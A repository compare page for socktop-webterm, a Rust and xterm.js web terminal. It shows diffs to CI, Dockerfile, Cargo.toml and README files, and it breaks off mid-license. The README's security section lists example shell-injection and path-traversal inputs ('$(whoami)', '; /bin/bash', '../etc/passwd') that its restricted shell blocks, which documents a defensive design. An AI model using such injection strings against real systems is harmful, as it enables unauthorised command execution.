Compare commits
41 Commits
b1030154ea
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
| 1114482046 | |||
| 5637dea10b | |||
| 6711ac030f | |||
| 768487c268 | |||
| 15ace386e3 | |||
| c540beba18 | |||
| 0b05f4bb92 | |||
| e6d1e170fd | |||
| f630a44a5d | |||
| dc7b51453e | |||
| 74726441c6 | |||
| 5c03b92807 | |||
| 98f8b4a865 | |||
| af5ab94521 | |||
| 1ea8768616 | |||
| 7e5a246269 | |||
| 828bc39229 | |||
| 6ea9c6a7a1 | |||
| dd11072560 | |||
| bd31410d5a | |||
| ef7d4cccc1 | |||
| 012e22ea6f | |||
| d7efa60cea | |||
| 7bfbe0d86e | |||
| 4204773492 | |||
| 57e8ad6f78 | |||
| 634e28113b | |||
| ffbdd5da0b | |||
| 6915079e5c | |||
| e870e2e4ec | |||
| 39e0f55fc4 | |||
| e0535a033b | |||
| d3f95b8c52 | |||
| d554574e30 | |||
| 850cf32b50 | |||
| 9fb9d9ab50 | |||
| 2012504616 | |||
| e224989702 | |||
| 29a97a43a9 | |||
| 12f2d6e6af | |||
| b365ac38e3 |
+2
-4
@@ -24,10 +24,8 @@ package-lock.json.local
|
||||
.github/
|
||||
.travis.yml
|
||||
|
||||
# Documentation
|
||||
*.md
|
||||
!README.md
|
||||
docs/
|
||||
# Documentation - exclude only build artifacts, allow all source
|
||||
docs/book/
|
||||
|
||||
# IDE and editor files
|
||||
.vscode/
|
||||
|
||||
@@ -4,18 +4,60 @@ on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
- master
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
- master
|
||||
|
||||
concurrency:
|
||||
group: build-deploy-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
env:
|
||||
REGISTRY: gt.wittyoneoff.com
|
||||
IMAGE_NAME: jason/socktop-webterm
|
||||
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Rust toolchain
|
||||
run: |
|
||||
echo "$HOME/.cargo/bin" >> $GITHUB_PATH
|
||||
export PATH="$HOME/.cargo/bin:$PATH"
|
||||
rustup update stable
|
||||
rustup default stable
|
||||
|
||||
- name: Run tests
|
||||
run: cargo test --all-targets --all-features
|
||||
env:
|
||||
RUSTFLAGS: -D warnings
|
||||
|
||||
lint:
|
||||
needs: test
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Rust toolchain
|
||||
run: |
|
||||
echo "$HOME/.cargo/bin" >> $GITHUB_PATH
|
||||
export PATH="$HOME/.cargo/bin:$PATH"
|
||||
rustup update stable
|
||||
rustup default stable
|
||||
rustup component add rustfmt clippy
|
||||
|
||||
- name: Cargo fmt
|
||||
run: cargo fmt --all -- --check
|
||||
|
||||
- name: Clippy
|
||||
run: cargo clippy --all-targets --all-features -- -D warnings
|
||||
|
||||
build-and-push:
|
||||
needs: lint
|
||||
runs-on: ubuntu-latest
|
||||
outputs:
|
||||
version: ${{ steps.get_version.outputs.version }}
|
||||
@@ -42,6 +84,25 @@ jobs:
|
||||
username: ${{ secrets.REGISTRY_USERNAME }}
|
||||
password: ${{ secrets.REGISTRY_PASSWORD }}
|
||||
|
||||
# Build into the runner's docker first (runner is arm64, so the image
|
||||
# runs natively), gate on the CLI-compatibility check, and only then
|
||||
# push. The layer cache makes the second build a no-op.
|
||||
- name: Build Docker image (local, for verification)
|
||||
uses: docker/build-push-action@v5
|
||||
with:
|
||||
context: .
|
||||
file: ./Dockerfile
|
||||
platforms: linux/arm64
|
||||
push: false
|
||||
load: true
|
||||
tags: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:candidate
|
||||
cache-from: type=registry,ref=${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:buildcache
|
||||
|
||||
- name: Verify installed socktop understands the shells' flags
|
||||
run: |
|
||||
chmod +x scripts/verify-image-socktop-flags.sh
|
||||
scripts/verify-image-socktop-flags.sh ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:candidate
|
||||
|
||||
- name: Build and push Docker image
|
||||
uses: docker/build-push-action@v5
|
||||
with:
|
||||
@@ -111,7 +172,7 @@ jobs:
|
||||
|
||||
- name: Wait for rollout to complete
|
||||
run: |
|
||||
kubectl rollout status deployment/socktop-webterm -n socktop --timeout=5m
|
||||
kubectl rollout status deployment/socktop-webterm -n socktop --timeout=30m
|
||||
|
||||
- name: Verify deployment
|
||||
run: |
|
||||
|
||||
+13
@@ -17,6 +17,15 @@ logs/
|
||||
.env
|
||||
.env.local
|
||||
|
||||
# Documentation build output
|
||||
static/docs/
|
||||
|
||||
# Temporary markdown documentation files
|
||||
DOCKER_DOCS_FIXED.md
|
||||
DOCS_TROUBLESHOOTING.md
|
||||
DOCUMENTATION_SUMMARY.md
|
||||
QUICK_START_DOCS.md
|
||||
|
||||
# OS specific
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
@@ -37,3 +46,7 @@ scripts/docker-quickstart.sh
|
||||
scripts/publish-to-gitea-multiarch.sh
|
||||
scripts/publish-to-gitea.sh
|
||||
scripts/verify_upgrade.sh
|
||||
scripts/check-setup.sh
|
||||
scripts/test-docker-config.sh
|
||||
scripts/prepare-docker-build.sh
|
||||
scripts/test-docs.sh
|
||||
|
||||
Generated
+2094
-1564
File diff suppressed because it is too large
Load Diff
+24
-26
@@ -1,39 +1,37 @@
|
||||
[package]
|
||||
name = "webterm"
|
||||
description = "xterm.js - based webterminal"
|
||||
repository = "https://github.com/fubarnetes/webterm"
|
||||
description = "socktop xterm.js - based webterminal"
|
||||
repository = "https://gt.wittyoneoff.com/jason/socktop-webterm"
|
||||
documentation = "https://docs.rs/webterm"
|
||||
readme = "README.md"
|
||||
categories = ["web-programming", "web-programming::websocket", "web-programming::http-server", "command-line-utilities"]
|
||||
keywords = ["terminal", "xterm", "websocket", "terminus", "console"]
|
||||
version = "0.2.2"
|
||||
version = "0.3.12"
|
||||
authors = ["fabian.freyer@physik.tu-berlin.de","jasonpwitty+socktop@proton.me"]
|
||||
edition = "2018"
|
||||
edition = "2021"
|
||||
license = "BSD-3-Clause"
|
||||
|
||||
[badges]
|
||||
travis-ci = { repository = "fubarnetes/webterm", branch = "master" }
|
||||
maintenance = { status = "actively-developed" }
|
||||
|
||||
[dependencies]
|
||||
actix-files = "0.1.6"
|
||||
actix-service = "0.4.2"
|
||||
actix-web-actors = "1.0.2"
|
||||
actix-web= "1.0.8"
|
||||
actix= "0.8.3"
|
||||
futures = "0.1.29"
|
||||
handlebars = "2.0.2"
|
||||
lazy_static = "1.4.0"
|
||||
libc = "0.2.66"
|
||||
log = "0.4.8"
|
||||
pretty_env_logger = "0.3.1"
|
||||
serde = "1.0.104"
|
||||
serde_json = "1.0.44"
|
||||
structopt = "0.3.7"
|
||||
tokio = "0.1.22"
|
||||
tokio-codec= "0.1.1"
|
||||
tokio-io= "0.1.12"
|
||||
tokio-pty-process = "0.4"
|
||||
actix-files = "0.6"
|
||||
actix-web = "4.9"
|
||||
actix-web-actors = "4.3"
|
||||
actix = "0.13"
|
||||
actix-rt = "2.10"
|
||||
futures = "0.3"
|
||||
handlebars = "6.3"
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
serde_json = "1.0"
|
||||
clap = { version = "4.5", features = ["derive"] }
|
||||
tokio = { version = "1.42", features = ["full"] }
|
||||
tokio-util = { version = "0.7", features = ["codec"] }
|
||||
portable-pty = "0.8"
|
||||
bytes = "1.9"
|
||||
log = "0.4"
|
||||
env_logger = "0.11"
|
||||
libc = "0.2"
|
||||
pop-telemetry = { git = "https://github.com/jasonwitty/pop-cli", branch = "main" }
|
||||
dirs = "5.0"
|
||||
regex = "1.10"
|
||||
|
||||
[lib]
|
||||
name = "webterm"
|
||||
|
||||
+156
-92
@@ -1,127 +1,191 @@
|
||||
# Dockerfile for socktop webterm
|
||||
# Based on Debian Trixie Slim with all required dependencies
|
||||
# Multi-stage Dockerfile for socktop webterm
|
||||
# This reduces the final image size significantly by separating build and runtime
|
||||
|
||||
FROM debian:trixie-slim
|
||||
# ============================================================================
|
||||
# Stage 1: Documentation Builder
|
||||
# ============================================================================
|
||||
FROM rust:1.95-slim-bookworm AS docs-builder
|
||||
|
||||
# Avoid prompts from apt
|
||||
ENV DEBIAN_FRONTEND=noninteractive
|
||||
WORKDIR /build
|
||||
|
||||
# Set environment variables
|
||||
ENV RUST_VERSION=stable
|
||||
ENV CARGO_HOME=/usr/local/cargo
|
||||
ENV RUSTUP_HOME=/usr/local/rustup
|
||||
ENV PATH=/usr/local/cargo/bin:$PATH
|
||||
ENV TERM=xterm-256color
|
||||
|
||||
# Install system dependencies and security updates
|
||||
# Install required tools
|
||||
RUN apt-get update && \
|
||||
apt-get upgrade -y && \
|
||||
apt-get install -y \
|
||||
# Build dependencies
|
||||
build-essential \
|
||||
apt-get install -y --no-install-recommends curl ca-certificates && \
|
||||
rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Install mdbook first
|
||||
RUN cargo install mdbook
|
||||
|
||||
# Copy documentation source (includes theme files)
|
||||
COPY docs ./docs
|
||||
|
||||
# Download Catppuccin theme CSS if not already present
|
||||
RUN if [ ! -f docs/theme/catppuccin.css ]; then \
|
||||
curl -fsSL https://github.com/catppuccin/mdBook/releases/latest/download/catppuccin.css \
|
||||
-o docs/theme/catppuccin.css && \
|
||||
echo "Catppuccin CSS downloaded successfully"; \
|
||||
else \
|
||||
echo "Catppuccin CSS already present"; \
|
||||
fi
|
||||
|
||||
# Build documentation
|
||||
RUN cd docs && \
|
||||
mdbook build && \
|
||||
ls -la book/
|
||||
|
||||
# ============================================================================
|
||||
# Stage 2: Rust Builder
|
||||
# ============================================================================
|
||||
FROM rust:1.95-slim-bookworm AS rust-builder
|
||||
|
||||
WORKDIR /build
|
||||
|
||||
# Install build dependencies
|
||||
RUN apt-get update && \
|
||||
apt-get install -y --no-install-recommends \
|
||||
pkg-config \
|
||||
libssl-dev \
|
||||
# Rust/Cargo (needed to build webterm)
|
||||
curl \
|
||||
ca-certificates \
|
||||
# Node.js and npm (for xterm.js)
|
||||
nodejs \
|
||||
npm \
|
||||
# Alacritty dependencies
|
||||
cmake \
|
||||
fontconfig \
|
||||
libfontconfig1-dev \
|
||||
libfreetype6-dev \
|
||||
libxcb-xfixes0-dev \
|
||||
libxkbcommon-dev \
|
||||
python3 \
|
||||
# Runtime dependencies
|
||||
fonts-liberation \
|
||||
gnupg2 \
|
||||
wget \
|
||||
unzip \
|
||||
git \
|
||||
# Process management
|
||||
supervisor \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Install Rust
|
||||
RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | \
|
||||
sh -s -- -y --default-toolchain ${RUST_VERSION} --profile minimal && \
|
||||
chmod -R a+w ${RUSTUP_HOME} ${CARGO_HOME}
|
||||
# Copy only dependency files first for better caching
|
||||
COPY Cargo.toml Cargo.lock ./
|
||||
|
||||
# Install Alacritty
|
||||
RUN cargo install alacritty && \
|
||||
rm -rf ${CARGO_HOME}/registry ${CARGO_HOME}/git
|
||||
# Create dummy source to cache dependencies
|
||||
RUN mkdir src && \
|
||||
echo "fn main() {}" > src/server.rs && \
|
||||
echo "pub fn lib() {}" > src/lib.rs && \
|
||||
cargo build --release && \
|
||||
rm -rf src target/release/webterm-server target/release/deps/webterm*
|
||||
|
||||
# Download and install FiraCode Nerd Font
|
||||
RUN mkdir -p /usr/share/fonts/truetype/firacode-nerd && \
|
||||
cd /tmp && \
|
||||
wget -q https://github.com/ryanoasis/nerd-fonts/releases/download/v3.1.1/FiraCode.zip && \
|
||||
unzip -q FiraCode.zip -d /usr/share/fonts/truetype/firacode-nerd/ && \
|
||||
rm FiraCode.zip && \
|
||||
fc-cache -fv && \
|
||||
rm -rf /var/lib/apt/lists/*
|
||||
# Copy actual source code
|
||||
COPY src ./src
|
||||
COPY templates ./templates
|
||||
COPY static ./static
|
||||
COPY build.rs ./build.rs
|
||||
|
||||
# Add socktop APT repository with GPG key
|
||||
RUN curl -fsSL https://jasonwitty.github.io/socktop/KEY.gpg | \
|
||||
gpg --dearmor -o /usr/share/keyrings/socktop-archive-keyring.gpg && \
|
||||
echo "deb [signed-by=/usr/share/keyrings/socktop-archive-keyring.gpg] https://jasonwitty.github.io/socktop stable main" > /etc/apt/sources.list.d/socktop.list && \
|
||||
apt-get update && \
|
||||
apt-get install -y socktop socktop-agent && \
|
||||
rm -rf /var/lib/apt/lists/*
|
||||
# Copy built documentation from docs-builder stage
|
||||
COPY --from=docs-builder /build/docs/book ./static/docs
|
||||
|
||||
# Create application user (if not already exists from package)
|
||||
RUN id -u socktop &>/dev/null || useradd -m -s /bin/bash socktop && \
|
||||
mkdir -p /home/socktop/.config/alacritty && \
|
||||
mkdir -p /home/socktop/.config/socktop && \
|
||||
chown -R socktop:socktop /home/socktop
|
||||
# Verify documentation was copied
|
||||
RUN ls -la ./static/docs/ && \
|
||||
test -f ./static/docs/index.html || (echo "ERROR: Documentation index.html not found!" && exit 1)
|
||||
|
||||
# Set working directory
|
||||
WORKDIR /app
|
||||
|
||||
# Copy application files
|
||||
COPY --chown=socktop:socktop Cargo.toml Cargo.lock ./
|
||||
COPY --chown=socktop:socktop src ./src
|
||||
COPY --chown=socktop:socktop templates ./templates
|
||||
COPY --chown=socktop:socktop static ./static
|
||||
COPY --chown=socktop:socktop package.json package-lock.json ./
|
||||
|
||||
# Build the Rust application
|
||||
RUN cargo build --release && \
|
||||
rm -rf target/release/build target/release/deps target/release/incremental && \
|
||||
# Build the actual application (force rebuild by touching sources)
|
||||
RUN touch src/server.rs src/lib.rs && \
|
||||
cargo build --release && \
|
||||
strip target/release/webterm-server
|
||||
|
||||
# Install npm dependencies and copy static files
|
||||
# ============================================================================
|
||||
# Stage 3: Node.js Builder
|
||||
# ============================================================================
|
||||
FROM node:20-slim AS node-builder
|
||||
|
||||
WORKDIR /build
|
||||
|
||||
# Copy package files
|
||||
COPY package.json package-lock.json ./
|
||||
COPY static ./static
|
||||
|
||||
# Install only production dependencies
|
||||
RUN npm ci --only=production && \
|
||||
# Copy static files to node_modules for serving
|
||||
cp static/terminado-addon.js node_modules/ && \
|
||||
cp static/bg.png node_modules/ && \
|
||||
cp static/styles.css node_modules/ && \
|
||||
cp static/terminal.js node_modules/ && \
|
||||
cp static/favicon.png node_modules/
|
||||
|
||||
# Copy configuration files from /files directory (will be mounted as volume)
|
||||
# This will be done at runtime via entrypoint script
|
||||
# ============================================================================
|
||||
# Stage 4: Runtime Image
|
||||
# ============================================================================
|
||||
FROM debian:trixie-slim
|
||||
|
||||
# Copy supervisor configuration
|
||||
COPY docker/supervisord.conf /etc/supervisor/conf.d/supervisord.conf
|
||||
# Avoid prompts from apt
|
||||
ENV DEBIAN_FRONTEND=noninteractive
|
||||
ENV TERM=xterm-256color
|
||||
|
||||
# Copy entrypoint and restricted shell scripts
|
||||
# Install only runtime dependencies
|
||||
RUN apt-get update && \
|
||||
apt-get upgrade -y && \
|
||||
apt-get install -y --no-install-recommends \
|
||||
# Runtime libraries
|
||||
libssl3 \
|
||||
ca-certificates \
|
||||
# For socktop packages
|
||||
curl \
|
||||
gnupg2 \
|
||||
# Shell and utilities
|
||||
bash \
|
||||
procps \
|
||||
# Health check
|
||||
curl \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Add socktop APT repository and install packages.
|
||||
# The version is pinned: the restricted shell passes flags that must exist in
|
||||
# the installed binary (e.g. --no-kill), and CI's registry layer cache would
|
||||
# otherwise happily reuse an apt layer from before a socktop release. Bump the
|
||||
# pin together with any restricted-shell.sh change that uses a new flag.
|
||||
ARG SOCKTOP_VERSION=1.60.2-1
|
||||
RUN curl -fsSL https://jasonwitty.github.io/socktop/KEY.gpg | \
|
||||
gpg --dearmor -o /usr/share/keyrings/socktop-archive-keyring.gpg && \
|
||||
echo "deb [signed-by=/usr/share/keyrings/socktop-archive-keyring.gpg] https://jasonwitty.github.io/socktop stable main" > /etc/apt/sources.list.d/socktop.list && \
|
||||
apt-get update && \
|
||||
apt-get install -y --no-install-recommends socktop=${SOCKTOP_VERSION} socktop-agent=${SOCKTOP_VERSION} && \
|
||||
rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Create application user (if not already exists from socktop packages)
|
||||
RUN id -u socktop &>/dev/null || useradd -m -s /bin/bash socktop && \
|
||||
mkdir -p /home/socktop/.config/socktop && \
|
||||
chown -R socktop:socktop /home/socktop
|
||||
|
||||
# Unprivileged user that per-session shells run as (see docker/session-shell.sh).
|
||||
# Separate from socktop so a session cannot signal the server, the agent, or
|
||||
# anything else that matters — the kernel refuses cross-UID signals.
|
||||
RUN useradd -m -s /usr/sbin/nologin demo
|
||||
|
||||
# Set working directory
|
||||
WORKDIR /app
|
||||
|
||||
# Copy built binary from rust-builder
|
||||
COPY --from=rust-builder /build/target/release/webterm-server /usr/local/bin/webterm-server
|
||||
|
||||
# Copy templates and static files
|
||||
COPY --from=rust-builder /build/templates ./templates
|
||||
COPY --from=rust-builder /build/static ./static
|
||||
|
||||
# Verify documentation is present in static/docs
|
||||
RUN ls -la ./static/docs/ && \
|
||||
test -f ./static/docs/index.html || echo "WARNING: Documentation not found in static/docs"
|
||||
|
||||
# Copy node_modules from node-builder
|
||||
COPY --from=node-builder /build/node_modules ./node_modules
|
||||
|
||||
# Copy runtime scripts
|
||||
COPY docker/entrypoint.sh /entrypoint.sh
|
||||
COPY docker/restricted-shell.sh /usr/local/bin/restricted-shell
|
||||
RUN chmod +x /entrypoint.sh && chmod +x /usr/local/bin/restricted-shell
|
||||
COPY docker/init-config.sh /init-config.sh
|
||||
COPY docker/restricted-shell.sh /usr/local/bin/restricted-shell.sh
|
||||
COPY docker/session-shell.sh /usr/local/bin/session-shell.sh
|
||||
RUN chmod +x /entrypoint.sh /init-config.sh /usr/local/bin/restricted-shell.sh /usr/local/bin/session-shell.sh
|
||||
|
||||
# Expose ports
|
||||
# 8082 - webterm HTTP server
|
||||
# 3001 - socktop agent
|
||||
# 3001 - socktop agent (if used)
|
||||
EXPOSE 8082 3001
|
||||
|
||||
# Health check
|
||||
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
|
||||
CMD curl -f http://localhost:8082/ || exit 1
|
||||
|
||||
# Set entrypoint (runs as root, then switches to socktop user)
|
||||
ENTRYPOINT ["/entrypoint.sh"]
|
||||
# entrypoint.sh handles both cases itself: as root it prepares /home/demo,
|
||||
# runs the agent as the socktop user, and keeps webterm-server as root so it
|
||||
# can drop each session to the demo user (CAP_SETUID/CAP_SETGID); as non-root
|
||||
# it behaves as before (single-UID, no session drop).
|
||||
RUN ln -sf /entrypoint.sh /docker-entrypoint.sh
|
||||
|
||||
# Default command (can be overridden)
|
||||
CMD ["supervisord", "-c", "/etc/supervisor/conf.d/supervisord.conf"]
|
||||
# Set entrypoint to the wrapper
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||
|
||||
# Default command - sessions enter via session-shell.sh (per-session privilege
|
||||
# drop when root) which execs the restricted shell that only allows socktop
|
||||
CMD ["webterm-server", "--host", "0.0.0.0", "--port", "8082", "--command", "/usr/local/bin/session-shell.sh"]
|
||||
|
||||
@@ -1,31 +1,282 @@
|
||||
# webterm
|
||||
web terminal based on xterm.js in rust
|
||||
# Socktop WebTerm
|
||||
|
||||
A web-based terminal using xterm.js and Rust, part of the Socktop project.
|
||||
|
||||
This is the repository and CICD for [socktop.io](https://www.socktop.io/)
|
||||
|
||||

|
||||
|
||||
# Is it any good?
|
||||
[Yes.](https://news.ycombinator.com/item?id=3067434)
|
||||
## About
|
||||
|
||||
# How does it work?
|
||||
This is a modern web terminal server that provides browser-based terminal access with WebSocket support. It's built with Rust using the Actix-Web framework and xterm.js for the frontend.
|
||||
|
||||
There is a rust backend based [Actix], consisting of two actors:
|
||||
* `Websocket` implements a websocket that speaks the [Terminado] protocol
|
||||
* `Terminal` handles communication to a child spawned on a PTY using [tokio-pty-process].
|
||||
## Features
|
||||
|
||||
The frontend is a static HTML page served by [actix-web][Actix] providing an [xterm.js] UI.
|
||||
- Full-featured terminal emulation via xterm.js
|
||||
- WebSocket-based communication using the Terminado protocol
|
||||
- High-performance Rust backend
|
||||
- Privacy-focused analytics with Umami (self-hosted)
|
||||
- Command sanitization for security and privacy
|
||||
- Zero-downtime rolling deployments via CI/CD
|
||||
- Containerized deployment with Docker
|
||||
- Kubernetes/k3s ready with automated deployments
|
||||
|
||||
[Actix]: https://actix.rs
|
||||
[Terminado]: https://github.com/jupyter/terminado
|
||||
[tokio-pty-process]: https://crates.io/crates/tokio-pty-process
|
||||
[xterm.js]: https://xtermjs.org/
|
||||
## Architecture
|
||||
|
||||
# Local development
|
||||
```
|
||||
The application consists of two main components:
|
||||
|
||||
### Backend (Rust)
|
||||
- **Websocket Actor**: Implements WebSocket communication using the [Terminado](https://github.com/jupyter/terminado) protocol
|
||||
- **Terminal Actor**: Manages PTY communication with spawned processes using [portable-pty](https://crates.io/crates/portable-pty)
|
||||
- **Actix-Web Server**: Serves static files and handles HTTP/WebSocket routing
|
||||
|
||||
### Frontend
|
||||
- **xterm.js**: Provides the terminal UI in the browser
|
||||
- **Static Assets**: HTML, CSS, and JavaScript served by Actix-Web
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Rust 1.90+ (2021 edition)
|
||||
- Node.js and npm (for xterm.js dependencies)
|
||||
- Docker (optional, for containerized deployment)
|
||||
- Kubernetes/k3s (optional, for orchestrated deployment)
|
||||
|
||||
## Local Development
|
||||
|
||||
```bash
|
||||
# Clone the repository
|
||||
git clone https://gt.wittyoneoff.com/jason/socktop-webterm
|
||||
cd socktop-webterm
|
||||
|
||||
# Install npm dependencies
|
||||
npm install
|
||||
|
||||
# Verify setup (optional but recommended)
|
||||
./check-setup.sh
|
||||
|
||||
# Build and run
|
||||
cargo build
|
||||
cargo run
|
||||
```
|
||||
Then head to `http://localhost:8080/` to see it in action!
|
||||
|
||||
# Should I run this on the internet?
|
||||
Then head to `http://localhost:8082/` to see it in action!
|
||||
|
||||
Probably not. It lets anyone who can access the webpage control your system.
|
||||
### Setup Verification
|
||||
|
||||
Before running the server, you can verify that all required files and dependencies are in place:
|
||||
|
||||
```bash
|
||||
./check-setup.sh
|
||||
```
|
||||
|
||||
This will check for:
|
||||
- Required directories (static, templates, node_modules)
|
||||
- Critical files (templates, JavaScript, CSS)
|
||||
- xterm.js installation
|
||||
- Build tools (cargo, npm)
|
||||
|
||||
**Note**: The server must be run from the project root directory, as it expects `./static`, `./templates`, and `./node_modules` to be accessible in the current working directory.
|
||||
|
||||
### Command Line Options
|
||||
|
||||
```bash
|
||||
webterm-server --help
|
||||
```
|
||||
|
||||
Options:
|
||||
- `-p, --port <PORT>` - The port to listen on (default: 8082)
|
||||
- `-H, --host <HOST>` - The host or IP to listen on (default: localhost)
|
||||
- `-c, --command <COMMAND>` - The command to execute (default: /bin/sh)
|
||||
|
||||
Example:
|
||||
```bash
|
||||
cargo run -- --port 8080 --host 0.0.0.0 --command /bin/bash
|
||||
```
|
||||
|
||||
## Production Deployment
|
||||
|
||||
### Docker
|
||||
|
||||
```bash
|
||||
# Build the image
|
||||
docker build -t socktop-webterm:latest .
|
||||
|
||||
# Run the container
|
||||
docker run -d -p 8082:8082 socktop-webterm:latest
|
||||
```
|
||||
|
||||
### Kubernetes/k3s
|
||||
|
||||
Automated deployment via Gitea Actions CI/CD:
|
||||
|
||||
1. Push to `main` branch
|
||||
2. Workflow automatically builds arm64 image
|
||||
3. Image tagged with version from `Cargo.toml`
|
||||
4. Deployed to k3s cluster with zero-downtime rolling update
|
||||
|
||||
See `.gitea/workflows/build-and-deploy.yaml` for the complete workflow.
|
||||
|
||||
Manual deployment:
|
||||
```bash
|
||||
kubectl apply -f kubernetes/
|
||||
```
|
||||
|
||||
## CI/CD Pipeline
|
||||
|
||||
This project includes a complete CI/CD pipeline using Gitea Actions:
|
||||
|
||||
- **Automatic builds** on every push to main
|
||||
- **Version tagging** from Cargo.toml
|
||||
- **Container registry** integration
|
||||
- **Automated k3s deployment** with rolling updates
|
||||
- **Zero downtime** deployments
|
||||
|
||||
## Technology Stack
|
||||
|
||||
- **Backend**: Rust 2021, Actix-Web 4.x, Actix 0.13, portable-pty
|
||||
- **Frontend**: xterm.js, HTML5, CSS3
|
||||
- **Templating**: Handlebars 6.x
|
||||
- **CLI**: clap 4.x
|
||||
- **Async Runtime**: Tokio 1.x
|
||||
- **Containerization**: Docker, Kubernetes/k3s
|
||||
- **CI/CD**: Gitea Actions
|
||||
|
||||
## Security and Limitations
|
||||
|
||||
### Security Model
|
||||
|
||||
This application is designed to provide **safe, public terminal access** for demonstration purposes. The security model consists of multiple layers:
|
||||
|
||||
#### 1. Restricted Shell
|
||||
|
||||
When deployed in production (e.g., https://www.socktop.io), the application uses a restricted shell (`docker/restricted-shell.sh`) that:
|
||||
|
||||
- **Allows only 2 commands**: `socktop` and `help`
|
||||
- **Blocks all other commands**: Rejects any attempt to run `ls`, `cat`, `bash`, etc.
|
||||
- **Validates arguments**: All arguments passed to `socktop` are sanitized to prevent command injection
|
||||
- **Prevents shell escapes**: Blocks metacharacters like `;`, `&&`, `|`, `$()`, backticks, etc.
|
||||
- **Blocks path traversal**: Prevents attempts like `../../../etc/passwd`
|
||||
|
||||
**Example validation:**
|
||||
```bash
|
||||
# Allowed
|
||||
socktop -P local
|
||||
socktop -P rpi-master
|
||||
socktop ws://192.168.1.100:3000
|
||||
|
||||
# Blocked with error message
|
||||
socktop $(whoami) # Command substitution blocked
|
||||
socktop ; /bin/bash # Shell metacharacter blocked
|
||||
socktop -P ../etc/passwd # Path traversal blocked
|
||||
```
|
||||
|
||||
#### 2. Argument Sanitization
|
||||
|
||||
The restricted shell validates all input using regex patterns:
|
||||
- Profile names: Only `[a-zA-Z0-9_-]+` characters allowed
|
||||
- WebSocket URLs: Only `ws://` or `wss://` with safe characters
|
||||
- No environment variable expansion
|
||||
- No special characters or shell operators
|
||||
|
||||
**Security testing**: Run `./scripts/test-shell-security.sh` to verify all 35 security checks pass.
|
||||
|
||||
#### 3. Container Isolation
|
||||
|
||||
- Runs inside Docker container (cannot access host system)
|
||||
- Non-root user (`socktop` user)
|
||||
- Limited resources (CPU/memory limits configurable)
|
||||
- No privileged operations
|
||||
- Read-only configuration mounts
|
||||
|
||||
#### 4. WebSocket Security
|
||||
|
||||
The WebSocket endpoint (`/websocket`) is secure by design:
|
||||
- Command spawned is **hardcoded at server startup** (via `--command` flag)
|
||||
- No way to change which shell is spawned via WebSocket connection
|
||||
- No HTTP headers or request parameters influence the spawned command
|
||||
- Direct WebSocket connections get the same restricted shell as browser connections
|
||||
|
||||
**The Terminado protocol only supports:**
|
||||
- `stdin` - Send input to terminal (goes through restricted shell)
|
||||
- `stdout` - Receive output from terminal
|
||||
- `set_size` - Resize terminal (validated to u16 row/col numbers only)
|
||||
|
||||
There is no protocol message type that can bypass the shell or execute arbitrary commands.
|
||||
|
||||
### Reporting Security Issues
|
||||
|
||||
If you discover a security vulnerability that bypasses the restricted shell or container isolation, please report it via:
|
||||
- GetTea Issues (for non-critical issues)
|
||||
- Direct contact to maintainer (for critical vulnerabilities)
|
||||
|
||||
## Credits
|
||||
|
||||
This project was originally forked from [webterm](https://github.com/fubarnetes/webterm) by Fabian Freyer. I chose this as a base because other projects were way too complex. His project was simple and easy to understand, but it was not well maintained. I have updated it to modern packages and heavily customized it to display a working demo for socktop.
|
||||
|
||||
### Original Author
|
||||
This project is a fork of [webterm](https://github.com/fubarnetes/webterm) originally created by:
|
||||
- **Fabian Freyer** (fabian.freyer@physik.tu-berlin.de)
|
||||
|
||||
### Socktop Enhancements
|
||||
Modernized and enhanced for the Socktop project by:
|
||||
- **Jason Witty** (jasonpwitty+socktop@proton.me)
|
||||
|
||||
#### Major Changes from Original
|
||||
- Updated to Rust 2021 edition
|
||||
- Modernized dependencies (Actix-Web 1.x → 4.x, Tokio 0.1 → 1.x)
|
||||
- Replaced deprecated `tokio-pty-process` with `portable-pty`
|
||||
- Added automated CI/CD pipeline with Gitea Actions
|
||||
- Containerized deployment with Docker
|
||||
- Kubernetes/k3s orchestration support
|
||||
- Added idle session timeout (5 minutes)
|
||||
- Improved error handling and logging
|
||||
- Modern CLI with clap instead of structopt
|
||||
- Updated to latest xterm.js
|
||||
|
||||
## License
|
||||
|
||||
This project is licensed under the **BSD 3-Clause License** - see below:
|
||||
|
||||
```
|
||||
Copyright (c) 2019 Fabian Freyer
|
||||
Copyright (c) 2024 Jason Witty
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice,
|
||||
this list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
3. Neither the name of the copyright holder nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
